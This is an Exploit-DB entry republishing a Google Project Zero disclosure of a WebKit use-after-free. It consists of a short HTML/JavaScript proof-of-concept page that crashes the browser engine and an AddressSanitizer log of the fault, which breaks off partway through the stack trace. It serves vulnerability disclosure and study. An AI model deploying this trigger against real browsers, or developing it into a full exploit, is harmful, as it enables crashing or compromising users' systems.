Exploit-DB #42364
Description: WebKit - 'WebCore::InputType::element' Use-After-Free (1)
Type: dos
Platform: multiple
Date: 2017-07-24
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1244

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
var runcount = 0;
function go() {
  runcount++; if(runcount > 2) { return; }
  i.type = "foo";
  i.select();
  i.type = "search";
  document.onsearch = document.body.onload;
  document.execCommand("insertHTML", false, "");
}
</script>
<body onload=go()>
<input id="i" type="checkbox" incremental="incremental">

<!--
=================================================================

ASan log:

=================================================================
==29786==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000e2a88 at pc 0x000113b182db bp 0x7fff5a00de60 sp 0x7fff5a00de58
READ of size 8 at 0x6110000e2a88 thread T0
==29786==WARNING: invalid path to external symbolizer!
==29786==WARNING: Failed to use and restart external symbolizer!
    #0 0x113b182da in WebCore::InputType::element() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20a2da)
    #1 0x1166e662e in WebCore::TextFieldInputType::didSetValueByUserEdit() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd862e)
    #2 0x1166e6513 in WebCore::TextFieldInputType::subtreeHasChanged() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd8513)
    #3 0x114661933 in WebCore::HTMLInputElement::subtreeHasChanged() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd53933)
    #4 0x1141e9756 in WebCore::notifyTextFromControls(WebCore::Element*, WebCore::Element*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8db756)
    #5 0x1141e8ea8 in WebCore::Editor::appliedEditing(WTF::PassRefPtr<WebCore::CompositeEditCommand>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8daea8)
    #6 0x113c8bb78 in WebCore::CompositeEditCommand::didApplyCommand() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37db78)
    #7 0x113c8b4eb in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37d4eb)
    #8 0x11421327d in WebCore::executeInsertFragment(WebCore::Frame&, WTF::PassRefPtr<WebCore::DocumentFragment>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x90527d)
    #9 0x11420cf05 in WebCore::executeInsertHTML(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8fef05)
    #10 0x114209f93 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8fbf93)
    #11 0x1140964fa in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7884fa)
    #12 0x114c443e5 in WebCore::jsDocumentPrototypeFunctionExecCommandCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13363e5)
    #13 0x114c2add8 in long long WebCore::BindingCaller<WebCore::JSDocument>::callOperation<&(WebCore::jsDocumentPrototypeFunctionExecCommandCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x131cdd8)
    #14 0x114c2ac41 in WebCore::jsDocumentPrototypeFunctionExecCommand(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x131cc41)
    #15 0x5b96c2401027  (<unknown module>)
    #16 0x10d35034a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
    #17 0x10d35034a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
    #18 0x10d34991a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
    #19 0x10cfae757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
    #20 0x10cf303da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
    #21 0x10c5680f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
    #22 0x10c568362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
    #23 0x10c5686d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::N